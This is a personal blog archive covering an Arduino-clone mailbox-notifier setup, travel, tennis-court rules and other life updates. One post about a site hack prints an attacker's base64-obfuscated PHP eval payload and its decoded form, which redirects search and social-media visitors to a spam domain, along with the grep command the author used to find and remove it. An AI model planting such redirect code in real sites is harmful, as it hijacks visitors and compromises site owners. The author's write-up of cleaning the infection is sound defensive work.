December 2014
M T W T F S S
« Jul    
1234567
891011121314
15161718192021
22232425262728
293031  

Archives

DIY: Basic Moteino (Arduino Clone) Project – Part 1

Recently, there has been some mail theft in my neighborhood (yeah Seattle sucks sometimes).  So I thought to myself, I need a way to notify me when my mail arrives.  I though I should do something with my Raspberry Pi, or maybe there is something better I can do.  So I did some Google searches and Boom, I found this.

A Mailbox Notifier using an Arduino clone (Moteino) [1].

http://lowpowerlab.com/blog/2013/03/01/mailboxnotifier-moteino-based-mail-event-notifier/

This solution uses a wireless serial connection to send information from the mailbox back to the gateway.  It looked perfect so I decided to order few of these awesome and cheap Moteinos (an arduino clone).

After a few days they arrived.

IMG_2438.JPGIMG_2439.JPG

It’s been over 15 years since I last messed seriously with electronics.  I went to my storage and dug up my old tackle box full of electronics components.

IMG_2441.JPG

it still have a piece of my old EE junior lab project robot.  See it is a vintage robot parts fr0m 1998.

IMG_2443.JPG

Yeah, that robot use to follow a black line on a white piece of paper… oh the old days.

Anyways … focus on topic… so getting the parts was only the first step.  Getting back in to it took a little bit of time, but it is like riding a bike, I picked it up pretty quickly.

So in the next series of blog post, I will try to go through my steps and hopefully this will help others that are trying to set up a Moteino project.

I found this Griff’s[2] intro to Moteino to be very helpful so take a look.  I will try not to repeat what was there, but I will highlight few things that helped me.

http://w5vwp.com/moteino.shtml

STEP 1: Setup your soft environment

The first thing, before you began to build and test is to setup your lab environment.  You will need to set it up so that you can easily push your arduino/moteino programs on to your actual controller chip.  BTW the simple arduio program is called a sketch.

First set up your USB port.  since I am using my macbook pro, I needed to install the usb drivers for the FTDI adapter to connect to the moteino.

The drivers are located here: http://www.ftdichip.com/Drivers/VCP.htm

The details on the FTDI adapter can be found here:

https://lowpowerlab.com/shop/index.php?_route_=FTDI-Adapter

and also here:

 http://lowpowerlab.com/moteino/

This link above also provides alot of details on Moteinos [3].

There are two ways you can load a sketch into a Moteino.

1) Use the Arduino Integrated Development Environment (IDE)

You can download it here:  http://arduino.cc/en/Main/Software. The set the IDE to Arduino Uno and you should be good to go.

There are also lots of information and examples on the arduino website about sketches and how to write sketches.  Take a look at them here: http://arduino.cc/en/guide/Environment. Please note that the Moteino’s pin outs are different than the Arduino Uno so the you will need to change it if you are using the built in examples. (e.g. the moteino onboard LED is on pin 9 vs pin 13 on Uno).

CAUTION:   I am using a macbook pro as my computer interface environment, I am running OSX 10.10.  I ran into few problems setting the Arduino IDE up.

First, the IDE is a java program and it needed an older version of java which OSX doesn’t have, so download it from Apple support here: http://support.apple.com/kb/DL1572.

Second,  I was not able to upload my sketch right after I installed the USB driver and the Java, because it was saying the serial port is already in use.  You will need to do the following at the command prompt and that should fix it.  Oh and 777 is pretty insecure, so use at your own risk.

$ sudo mkdir /var/lock
$ sudo chmod 777 /var/lock

2) Use codebender.cc

Codebender is one of the coolest things, it is almost as cool as Bender R. Rodriguez.  Code bender allows you to store and code your sketches (Arduino program) on their website.  With a use of a browser plugin, it allows you to connect to your hardware controller (Moteino or Arduino or others) and upload your code.  It is super fast and fantastic.  I was able to set everything up with in minutes and best of all you can share your code with others or use others code. It’s super easy.

So during my initial setup to make the build in blinky led blink, I was able to set it up on codebender and under 5 minutes from pluging in the Moteino into my macbook pro usb port and sign up for an account and push the code down.  it is pretty nifty and I did not run into any java or permissions problems like I did with the IDE.

 STEP 2: Setup your physical environment

Once you got blink (blink sketch to blink the onboard LED) to work on your moteino, you are ready for the next step, setting up your physical environment.  For me, I got two motenios so I can have a node and a gateway.  The gateway is the moteino that is located at base and the node is the motenio that will be out at remote.  To model this easily, I am using two breadboards.  the Moteinos do not come with headers solders on, so I will need to do that myself.  Like I stated earlier, its been over 15 years since I solder things on PC boards.  I took my 15 year old soldering iron out and went to work.  After about 10 bad solders/cold solders, I finally remember how to solder.

How I found it to be the easiest to solder the headers on is to put the header on the bread board and place the moteino over it in place.  This way it will not move.  When soldering, have the soldering iron on the outside facing in and the soldering on the inside toward the pins.  Once the soldering iron is hot and ready, bring it in close to the pin and run the solder by it and lift up.  The solder will melt as soon as it touches the iron and bubble around the pin and when lifted up, it creates a good clean solder.  Give it couple of try and you should be able to get the hang of it.

So this is the result of my work.

IMG_2436.JPG

IMG_2435.JPG

 

CAUTION:  Be careful when soldering, you don’t want to accidentally melt and remove any components that is on the moteino board.  Also  be careful when soldering in on the antenna.

I will continue my progress in part 2.

Ref:

[1] Low power lab Mailbox Notifier: http://lowpowerlab.com/blog/2013/03/01/mailboxnotifier-moteino-based-mail-event-notifier/

[2] Griff’s Digital Ham Radio Site: http://w5vwp.com/moteino.shtml

[3] Low Power Lab All About Moteino:  http://lowpowerlab.com/moteino/

UPDATES are Coming!!!

Well, it is close to the end of 2014. So many things has happened. I pretty much have abandoned my blog for most of the year, but there are so many things that is going on in my life that I think I should start posting things on my blog again. Now rules for posting about my life will change a great deal in this new world of Information security and personal security, so I will only talk about generic thing that I think will contribute to the world. I will minimize talking about any thing that can Identify me. All travel pictures will likely contain few personal images and posted after the trip is over and never during the trip.

I am also thinking about changing the theme of my website. In 2012, I did a 365 challenge for photographs. I did it and it was harder than I expected. I will try to do a 52 challenge which means I will post a least one entry a week. I will hope to keep it meaningful.

The return of USSR?

So I am applying for my Global Entry this morning and I saw that USSR is one of the pull down list countries?!?!?! Does USSR still exist? Or is this simply the US Governments way of easing the expected USSR return by Putin? MAYBE?!?!? Take a look yourself ;)

What are rules for? — Part 2

So this week, I finally received my email from Seattle Parks and Recreation about the tennis court incident.

So the following is the email that I recieved.

July 21, 2014

Dear Min-Hsao Chen, 

I’m sorry for your experience at the Victory Heights Playground tennis courts.
 
Seattle Parks and Recreation’s policy is that facilities are to be used for their intended uses: tenniscourts are for tennis, which does not include “soccer tennis.” 

The only exceptions are the designated courts at Cal Anderson Park and Judkins Playfields, where dodgeball and bike polo are allowed.

The reasons for keeping tennis courts exclusively for tennis play are that:

1.   Tennis courts are the only places available for playing tennis (other activities can usually manage in other places).

2.   Activities other than tennis often harm the court surface and/or net.

You could print this out to take with you; or, if you encountered this again, maybe it would be sufficient you just to confidently state that, when you contacted Seattle Parks, the Superintendent’s Office verified that tennis courts are intended for tennis only; and if the “soccer tennis” players had any doubt, they could contact me as well at PKS_Info@seattle.gov.
 
Thanks for checking, and my apologies for my delay in replying.

Sincerely,
Laurie Dunlap
Superintendent’s Office, Seattle Parks and Recreation
 
Seattle Parks and Recreation
http://seattle.gov/parks/
“Explore more”

So for all those Soccer Tennis players, “how ‘bout them apples!?!?”.

What are rules for?

Why do people don’t follow rules? what are rules for, if people don’t follow them.

So Today, when my wife, Vicky and I arrived at the Victory Height tennis court to play tennis, I met  two individuals playing soccer tennis on the Victory Height tennis court. (Soccer tennis is using a soccer ball and kicking the ball back and forth across the net and court). When my wife and I address the individual and asking them, if we can play tennis on the court, they told us they just go there. I then ask them if we can use the court because they can play soccer on the large grass field and we can only play tennis on the tennis court, they then told us they will be playing for another 30 minutes. Then a young 7 year old kid nearby pointed out the posted court rules which states that the “courts should only be used for tennis and other city approved activities”. I then address this to the individuals playing the soccer tennis and they argue that their activity was a city approved activity and would not leave the court. I complained and stated that “that can’t be right”, since it is stated that it is for tennis only and they don’t have any written statement from the city therefore it is not approved.

My problem is this, if I was in their shoes playing soccer on a tennis court when someone shows up playing tennis, I would yield the court. Instead they call me grumpy and saying that these are rules and not laws and that it can be bent or broken and they are not meant for them.

So my question is Am I wrong for following rules? What is the point of posting rules stating that the tennis court is only for tennis and people don’t follow them?

Is this just Seattle? or is it just me getting old and grumpy?

End of week 1

So today is the end of week one at my new job, or should I say the beginning of week 2. So far it has been a pretty remarkable experience. I went through 4 days of training and still trying to get my head around everything that I am learning. IPv6, DHCP, DNS… etc. All the things that I’ve used and know about but I am just doing a major deep dive into these subjects. It is good to be back in the mist of all the technical goodness. Tomorrow begins my week too and it starts with an early morning travel.  Once again, I think I will try again this year to start my blog back.  hopefully this will continue.

A New Start

It’s been a long while since I wrote on my blog, but I feel this is an important occasion to update my blog.  So today is my first day at my new job with BlueCat Networks.  After close to 7 years working at Sparling, I finally called it quits, little over a week ago, on Valentines day (2/14/2014).  It was a difficult decision, but it was time to move on.  It’s always the people that I missed the most.  So for the last week, I’ve been throwing away everything, reshaping my office, and preparing for my new work day today. During my week off, I’ve been really enjoy my time off, like I said, I been cleaning up the house, walking 10K steps a day and trying to eat healthy.  It’s pretty amazing. So today starts my new work life.  In a few minutes I will be on a conference call with my new boss and start my new work day. Wish me luck.

Sublime with Rome

download (3)

Back in 1996, I was in Auburn, in college.  Ska was big and I loved it.  One of my favorite group was Sublime.  I remember saving my money to get the Sublime CD (compact disk for those that don’t know what it is :) ).  After Bradley died, I thought that’s it… such  great group and no more. To my surprise, I found out through Marymoor concerts.  That Sublime is back from the dead, they are called Sublime with Rome.  So it seems that they found this amazing guy that has some great talent.  Check out the video below.

or listen to them on Spotify.

https://play.spotify.com/artist/3XXrhkZKSGd3CUJQFnx5tQ

Well… I know I am like 2 years late, but it made my day :)  Enjoy and if you have time tickets are still available to see them at Marymoor.

TIL: Optimal sentence length for comprehension

quill-pen

Today I learned that the optimal length for writing comprehension is around 5 to 6 words a sentence. This is approximately the same length that a feather quill pen can write before the ink dries up.

Ref: Star Talk S4E15

TIL: Wireless Telephone in 1962 Space Needle

IMG_2034.jpg

 Today I Learned (TIL) that special wireless telephones were built for the Space Needle’s rotating restaurant in the 1962.  Today, this may not seem to special, but back in 1962, the is truly futuristic.  OH and 1 HP is all that is required to turn the space needle restaurant!!!

Ref:   Space Needle: The Spirit of Seattle

Ref:  WUNC and Sceince Friday

First Raspberry Pi Lab: Hello There

Hello there!  This is my first attempt at messing with Raspberry Pi.

It’s pretty simple, pretty much everything is from Adafruit.  Including basic script instructions.  I modified few little things and added Obi-won saying “hello there”.

Check it out.

Post Thanksgiving reflections….

So I am sitting here in the Tokyo airport lounge thinking about my recent travels and I really want to record everything that I did on this trip in my blog, however, history has shown that I have failed on that many times.  (e.g. China trip last year,  Yosemite Trip, Iceland trip, and etc…)  So I will try to do something different this time.  My goal for this trip is not to post date my posts, but to talk about a day on my trip as I have time. Maybe this way I can actually get some of our  (Vicky and Min’s) travel on paper.

So let’s begin,  So as I stated earlier, I am currently at the end of this in Tokyo.  The trip started from Seattle, to Beijing, then to Tokyo.  In Tokyo, we stayed mostly inside the city however, we did travel outside to Endoshima and Kamakura area for a short day trip.

The food for the last few days has been amazing.  Especially, the sushi and sashimi, just amazing.  We were very fortunate to have  few sunny days and few museum days (rainy).    Today of course, our departing day is rainy.  We statyed in Shinjuku and travelled around by walking, trains, and subways.  So I will go more into that in my next post.

Old Tee Shirts

Well, it has been such a nice a wonderful weekend, so during this weekend, I decided to do some cleaning and get rid of some old stuff that’s been following me around for sometimes.  So when I open up this one suit case, it was full of old tee shirts.  I will probably never wear them again, but I hated the idea of throwing them again.  They are my history, they are my past… they mean so much to me.

My logical and not emotional wife asked me a simple question, “when was the last time you’ve wore those?”

My response… “uh… 1995…”.  Right,  that wasn’t too long ago, but what 1995 was 17 years ago!!!!

Yeah… Vicky is right … I will probably never wear them ever again and they are just taking up space… but they are still so special to me… So I decided to digitize them.

So here they are… let me know what you think.

1994-1995 AP Chemistry

This shirt is my high school senior AP chemistry shirt… I am sure all my classmates are all rich and famous now :)… maybe I should keep this shirt ;)

 

Back

IMG_7733.jpg

Front

IMG_7734.jpg

 

1995 Auburn High School Science Olympiad shirt

This shirt was for the 1995 AHS Science Olympiad Team and yes we made the nationals that year!!!  This shirt is special because I created this shirt with my friend Ming Yan.  It is also special because we printed all these shirts in the Technology Student Association club in AHS.  Note that this was a 4 color screen print, however the back design has more than 4 colors…. pretty cool right?

Additional information about the design, the fonts are of course Star Trek DS9 Fonts and the idea for the back came from the Sliders TV show opening.

Back

IMG_7736.jpg

Front

IMG_7737.jpg

 

Auburn High School Science Olympiad Team Shirt

Very late 80 and early 90 style and look.

IMG_7739.jpg

 

Catholic Youth Organization

This shirt was from our teen youth group in Auburn St. Michael Catholic Church.  Once again Vintage 1995.

IMG_7740.jpg IMG_7741.jpg

 

The following shirts are from college… few years laters

 

Catholic Student Organization Pan Y Vino  XLII and XLIII Shirt

Pan Y Vino is a biannual retreat for the CSO.  These shirts were from the two time that I was part of the host team.  Those were special times.

IMG_7743.jpg IMG_7744.jpg

Catholic Student Organization

IMG_7745.jpg IMG_7746.jpg

Catholic Student Organization

These are CSO  @ AU shirts

IMG_7747.jpg IMG_7751.jpg

Superball 1995!!! 

One year before the 1996 summer olympics in Atlanta, many women softball team came to Columbus, GA for a pre Olympics fast pitch softball competition.  The is the shirt made for that event, for cheering on the Republic of China team!!!

IMG_7752.jpg IMG_7753.jpg

Spring Upgrade: Ad Block Plus

As part of the spring cleaning, this past weekend, I wanted to clean up my web browsing and reduce the number of annoying ads that I see in every website I visit. This include all those annoying ads on youtube and other similar sites.
This is what I found!!!

Ad Block Plus

It a wonderful plugin for web browser that removes all your ads!!! Really!!!.

What is cool about ABP is that it is a Chrome plugin. However, no plugins for Safari yet.

Ref: http://adblockplus.org/en/

YEAH! UPGRADES!


Currently my laptop is a late-2008 MacBook Pro. It is probably the best laptop that I’ve ever owned. It is definitively the only laptop that I have ever used for more than 1.5 years. This laptop is currently working on it’s 4th year. From the original specs this model of MacBook Pro only suppose to support max of 4 Gigs. Some people before were able to get 6 gigs on it, however, after Lion everything changed. With a firmware upgrade, my late 2008 MacBook Pro supports 8 Gigabyte of RAM!!!! Check out this article for more details.

So with my new found knowledge, I quickly purchased my upgrades from Newegg. This is what I got.

First, Memory… for $40 bucks I was able to double my memory. GREAT DEAL!!!!

Then I decided… maybe I should go ahead and upgrade my HD. I thought about a SSD, but I can only afford a 120GB SSD, which is smaller than my current drive size. The SSD will be must faster, but much smaller. I then saw the Hybrid drives. It got mix reviews, but the price is right, so why not. (note: right after I bought mine, newegg put this drive on promotion, it is now only $89.99!!! DOH for me!!!)

So with my removal of my 250 GB drive, I though it would be nice to have an extra external drive, so I got this case for $7.99. Yeah… pretty cheap huh!!  The best part is I can use this new USB case to transfer all my data to my new drive so I won’t miss a beat!!!!

So with very little money, I’ve refreshed my laptop and hopefully I can get another year or two out of it!!! That will be excellent, if I can do that!!!

Reference:

Damn you Hackers!!! Go to Hell!!!

So today, I noticed my another hack that’s been installed on my machine. I have to say ever since my move to GoDaddy.com, my site has been hacked over and over again. This is number #3. The reason why I posted about this one is because it is actually pretty interesting and finding what was done was like a mystery. So let me tell you a quick story.

So this evening I was trying to figure out how to get my project 365 page to post automatically to my website. This is when I first noticed a slowdown and issue when I am using the debugger from Facebook. At first I thought it was the wordpress plug in, but it occasionally works. I got everything ready, and posted my first auto post and strange things started to happen.

As I stated, everything looked normal at first until I click on the links provided by Facebook. When I click on the Facebook link to my website, it goes to some spam site. At first I thought it was the .htaccess hack that was I received a while back, but that is not the case. Then I thought maybe it was a DNS hack. That was also not the case, finally, I found the following in all my .php files on my web server.

It uses eval command and nested with base64_decode the following block of code.

DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhl
YWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVS
RVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICgh
c3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Ig
c3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBz
dHJpc3RyKCRyZWZlcmVyLCJnb2dvIikgb3Igc3RyaXN0cigkcmVmZXJlciwibGl2ZS5jb20iKW9yIHN0
cmlzdHIoJHJlZmVyZXIsImFwb3J0Iikgb3Igc3RyaXN0cigkcmVmZXJlciwibmlnbWEiKSBvciBzdHJp
c3RyKCRyZWZlcmVyLCJ3ZWJhbHRhIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmVndW4ucnUiKSBvciBz
dHJpc3RyKCRyZWZlcmVyLCJzdHVtYmxldXBvbi5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQu
bHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5k
ZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgi
L2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlz
cGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRy
ZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3Ry
aXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vbWlua29mLnNl
bGxjbGFzc2ljcy5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfQ

it is quite clever. It is encoded and people may easily over look it, but when you decode the text this is what you get

error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER[‘HTTP_REFERER’];
$uag=$_SERVER[‘HTTP_USER_AGENT’];
if ($uag) {
if (!stristr($uag,”MSIE 7.0″)){
if (stristr($referer,”yahoo”) or stristr($referer,”bing”) or stristr($referer,”rambler”) or stristr($referer,”gogo”) or stristr($referer,”live.com”)or stristr($referer,”aport”) or stristr($referer,”nigma”) or stristr($referer,”webalta”) or stristr($referer,”begun.ru”) or stristr($referer,”stumbleupon.com”) or stristr($referer,”bit.ly”) or stristr($referer,”tinyurl.com”) or preg_match(“/yandex\.ru\/yandsearch\?(.*?)\&lr\=/”,$referer) or preg_match (“/google\.(.*?)\/url\?sa/”,$referer) or stristr($referer,”myspace.com”) or stristr($referer,”facebook.com”) or stristr($referer,”aol.com”)) {
if (!stristr($referer,”cache”) or !stristr($referer,”inurl”)){
header(“Location: http://minkof.sellclassics.com/”);
exit();
}
}
}
}
}

Tricky huh?

So well… solution? remove all code in all .php files and with a little help from “grep” I was able to locate all the bad codes.

grep -H -r ‘eval(base64_decode’ ./

So, Go To Hell You Punk Hackers!!! I hope you guys get busted and become someone’s bitch in prison.

Physics of the Future

I recently finished a great book by https://twitter.com/#!/michiokaku. He is a theoretical physicist that writes books about technology and about the future. Take a look at his wiki page. Anyways, the book Physics of the Future is very good, I think anyone who loves science and wonders what the future might be like should give it a read. He paints a future not of just pure science fiction prespective, but of a future with advancements based on the current technology and why that future is possible, etc. If you are too lazy to read the actual book…try the audiobook. It is a good way to learn something in your daily commute.


http://www.amazon.com/Physics-Future-Science-Shape-Destiny/dp/0385530803

Another good one from Michio Kaku is called the Physics of the Impossible. Great book about if all the science fiction technologies and sciences are actually possible or not.

So what is my next book?
My next book next book will be Flatland: A Romance of Many Dimensions.

Check it out:

What is great about this book is that it is so old, from ’84. 1884 that is. ;) It is so old, that this book is pretty much free, almost everywhere.

My grandmother passed away

Today, I found out that my grandmother passed away. She was my last remaining Grandparents. My Grandmother was always the best to me. I was planning a trip back to Taiwan this summer, but now it’s too late. 外婆, I miss you.

February 2012 Update

Oh, it’s been a while since my last update to my blog. Few things, yesterday was Mardi Gras. It is hard to believe that it is Mardi Gras again and how my life have changes from 4 years ago. Anyways, it was pretty fun hanging out with my buddies at the Tree.

After my first MRI in my life, the doctors determined that it is a moderate knee ligament injury. So I am on down low for the remaining snowboarding season this year. The good news is I probably don’t need any surgery and will recover with time.

IMG_1654.jpg

Day at the Aquirium

A rainy afternoon in the Seattle aquarium.